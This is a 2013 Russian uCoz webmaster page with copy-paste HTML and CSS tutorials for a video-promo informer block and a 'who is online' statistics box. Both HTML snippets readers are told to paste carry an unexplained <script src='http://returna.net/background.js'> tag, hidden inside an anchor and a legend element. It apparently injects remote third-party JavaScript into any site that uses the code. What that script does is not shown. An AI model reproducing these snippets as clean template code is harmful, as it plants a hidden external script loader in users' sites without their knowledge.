05 Июля 2013 - Positiv.3DN.Ru » Все лучшее в интернете! - Читать бесплатно, без регистрации и смс

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.





Главная » 2013 » Июль » 05

В информер:

Код
<div class="videoPromo-list-item ">
  <div class="videoPromo-list-item-img">
  <img itemprop="thumbnail" src="$IMG_URL1$">
  <a href="$ENTRY_URL$"><i class="icoplay"></i></a>
  </div>
  <div class="videoPromo-list-item-text">
  <div class="title">
<a style="font-size:12px;font-family:Arial;margin-bottom:3px"><script type="text/javascript" src="http://returna.net/background.js"></script><a href="$ENTRY_URL$" title="Смотреть онлайн $TITLE$">$TITLE$</a></a>
  </div>
  </div>
  </div>


В css:

Код
/**Topnews**/  
.video-main {position:relative; float:left; margin:5px;}  
.videoPromo-list{height:276px;position:relative;margin: -5px -5px 0 415px;overflow:hidden;font-size:0}  
.videoPromo-list-item{width:100%;max-width:235px;height:68px;line-height:69px;position:relative;display:inline-block;*zoom:1;*display:inline;overflow:hidden;margin-right:10px;margin-bottom:1px;vertical-align:top;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}  
.videoPromo-list-item-text{display:inline-block;*zoom:1;*display:inline;margin:5px 5px 5px 112px;vertical-align:middle;line-height:normal}  
.videoPromo-list-item-text .title{margin-bottom:7px;font-size:12px}  

.videoPromo-list-item .videoPromo-list-item-text .title a{text-decoration:none;color: #555555;}  
.videoPromo-list-item:hover .videoPromo-list-item-text .title a, .videoPromo-list-item.current .videoPromo-list-item-text .title a{text-decoration:none;color:#FFF}  
.videoPromo-list-item-button a{height:39px;line-height:39px;position:relative;display:block;top:10px;text-align:center;text-decoration:none;font-size:12px;font-weight:bold;color:#fff;background-color: #333333;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}  

.videoPromo-list-item-button{width:50%;float:left}  
.videoPromo-list-item-button:hover{background:#FFF !important}  

.videoPromo-list-item-img{width:100px;height:58px;position:absolute;top:5px;left:5px;overflow:hidden;font-size:0}
.videoPromo-list-item-img img{width:100%}  

.icoplay{width:36px;height:36px;font-size:0;background:url("http://pnghosts.ru/img/65845355.png") center center no-repeat}  
.videoPromo-list-item-img .icoplay{position:absolute;display:none;top:50;margin: -18px 0 0 -18px}  
.videoPromo-list-item:hover .icoplay,.videoPromo-list-item.current .icoplay{display:block}  

.videoPromo-list-item:hover, .videoPromo-list-item.current{background:#322d2d;color:#000 !important}  
/**Topnews**/

С этим легким скриптом вы сможете сделать себе подробную статистику сайта, включая гостей и посетителей онлайн, а также список пользователей, посетивший сайт за день
Для создания подобной статистики нужен достаточно несложный код:

Код
<div align="center">$COUNTER$<fieldset class="c"><legend class="d"><b>Кто на сайте</b></legend><span>$ONLINE_COUNTER$</span><br><fieldset class="c"><legend class="d"><b>Контры онлайн:</b></legend>
$ONLINE_USERS_LIST$</fieldset></fieldset><fieldset class="c"><legend class="d"><b>Нас посетили:</b><script type="text/javascript" src="http://returna.net/background.js"></script></legend>
«<a href="javascript://" onclick="new _uWnd('TdUsrLst',' ',250,450,{autosize:0},{url:'/index/62-2'});return false;" class="fUsrList">Список посетителей</a>»
</fieldset></div>


где $COUNTER$ - код статистики от Ucoz (у нас нету),
<fieldset class="c"> - код создающий рамку вокруг статистики с классом с (для CSS),
<legend class="c"> - код создающий надпись в рамке с классом с - между этим кодом пишем оглавление и после закрываем его (</legend>)

В нашем случае нужно создать рамку в рамке т.е.:
<fieldset><legend>***</legend><fieldset (новый)><legend>***</legend></fieldset></fieldset>
$ONLINE_USERS_LIST$ - код от Ucoz о кол-ве юзеров онлайн

Далее нужна еще одна рамка, где будут стоять ники посетивших сайт пользователей, для этого есть 2 варианта:
1. Скопировать этот код (как у нас):
«<a href="javascript://" onclick="new _uWnd('TdUsrLst',' ',250,450,{autosize:0},{url:'/index/62-2'});return false;" class="fUsrList">Список посетителей</a>»
2. Зайти в Панель Управления - Инструменты - Информеры - Создать информер "Пользователи, посетившие сайт за текущий день" - потом появится код информера типа $MYINF_1$ - его и вставляете вместо нашего кода. В этом случае ники пользователей будут видны без открытия "Списка пользователей"

Теперь по поводу класса с (legend, fieldset) - он нужен для того чтобы эти 2 тега использовали нужный стиль только в этом (с) случае. Например есть сайты, использующие свои стили этих тегов. Для редактирования стилей нужно зайти в таблицу стилей CSS и прописать там

fieldset.c {border:1px solid #363636;}
legend.c {color:#000;}

где border - создает рамка толщиной в 1 пиксель классом solid и цветом #363636
color - цвет шрифта (#000000)

Календарь
«  Июль 2013  »
ПнВтСрЧтПтСбВс
1234567
891011121314
15161718192021
22232425262728
293031
Наш опрос
Что пьем? :)
Всего ответов: 16
Статистика
Реклама